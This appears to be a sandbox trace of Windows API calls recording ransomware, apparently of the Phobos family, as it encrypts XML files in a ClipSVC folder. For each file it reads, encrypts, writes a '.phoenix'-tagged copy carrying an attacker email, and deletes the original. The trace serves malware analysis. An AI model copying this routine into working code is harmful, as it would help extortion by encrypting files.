	[0244.955] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xca0, lpOverlapped=0x0) returned 1
	[0244.956] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0244.956] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.956] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.956] CryptDestroyKey (hKey=0x151640) returned 1
	[0244.956] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.956] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.956] CloseHandle (hObject=0x2b4) returned 1
	[0244.956] CloseHandle (hObject=0x2b0) returned 1
	[0244.956] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5dd8bcf1-73af-cff8-d142-0ca7feade752.xml")) returned 1
	[0244.957] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.958] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3190) returned 1
	[0244.958] CloseHandle (hObject=0x2b0) returned 1
	[0244.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml")) returned 0x20
	[0244.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.958] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.958] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.959] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0244.959] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.959] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc76, lpOverlapped=0x0) returned 1
	[0244.960] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0244.960] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0244.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0244.961] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.961] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.961] CryptDestroyKey (hKey=0x151200) returned 1
	[0244.961] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.961] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.961] CloseHandle (hObject=0x2b0) returned 1
	[0244.961] CloseHandle (hObject=0x2b4) returned 1
	[0244.961] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\600364a7-e11c-efda-2c12-eac40e75f19a.xml")) returned 1
	[0244.962] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.962] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.963] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3202) returned 1
	[0244.963] CloseHandle (hObject=0x2b4) returned 1
	[0244.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml")) returned 0x20
	[0244.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.963] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.963] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.964] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0244.964] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.964] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc82, lpOverlapped=0x0) returned 1
	[0244.965] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90, dwBufLen=0xc90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90) returned 1
	[0244.966] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc90, lpOverlapped=0x0) returned 1
	[0244.966] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0244.966] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.966] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0244.966] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.966] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0244.967] CryptDestroyKey (hKey=0x151640) returned 1
	[0244.967] CloseHandle (hObject=0x2b4) returned 1
	[0244.967] CloseHandle (hObject=0x2b0) returned 1
	[0244.967] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml")) returned 1
	[0244.968] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0244.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.968] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3223) returned 1
	[0244.968] CloseHandle (hObject=0x2b0) returned 1
	[0244.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml")) returned 0x20
	[0244.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.969] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0244.969] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.969] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0244.969] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0244.969] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0244.969] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0244.969] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc97, lpOverlapped=0x0) returned 1
	[0245.122] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0, dwBufLen=0xca0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xca0) returned 1
	[0245.122] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xca0, lpOverlapped=0x0) returned 1
	[0245.225] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0245.226] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.226] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0245.226] CryptDestroyKey (hKey=0x151440) returned 1
	[0245.226] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0245.226] CryptDestroyKey (hKey=0x151280) returned 1
	[0245.226] CloseHandle (hObject=0x2b0) returned 1
	[0245.226] CloseHandle (hObject=0x2b4) returned 1
	[0245.226] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml")) returned 1
	[0245.227] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0245.227] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.228] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2686) returned 1
	[0245.228] CloseHandle (hObject=0x2b4) returned 1
	[0245.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml")) returned 0x20
	[0245.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.228] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.228] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.228] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.229] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0245.229] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0245.229] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.229] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa7e, lpOverlapped=0x0) returned 1
	[0245.494] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa80, dwBufLen=0xa80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa80) returned 1
	[0245.494] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa80, lpOverlapped=0x0) returned 1
	[0245.494] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0245.494] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.494] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0245.494] CryptDestroyKey (hKey=0x151200) returned 1
	[0245.495] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0245.495] CryptDestroyKey (hKey=0x151600) returned 1
	[0245.495] CloseHandle (hObject=0x2b4) returned 1
	[0245.495] CloseHandle (hObject=0x2b0) returned 1
	[0245.495] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml")) returned 1
	[0245.496] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0245.496] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.499] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3196) returned 1
	[0245.499] CloseHandle (hObject=0x2f0) returned 1
	[0245.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml")) returned 0x20
	[0245.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.499] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.499] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.499] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0245.499] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0245.501] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0245.501] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0245.501] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc7c, lpOverlapped=0x0) returned 1
	[0245.688] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
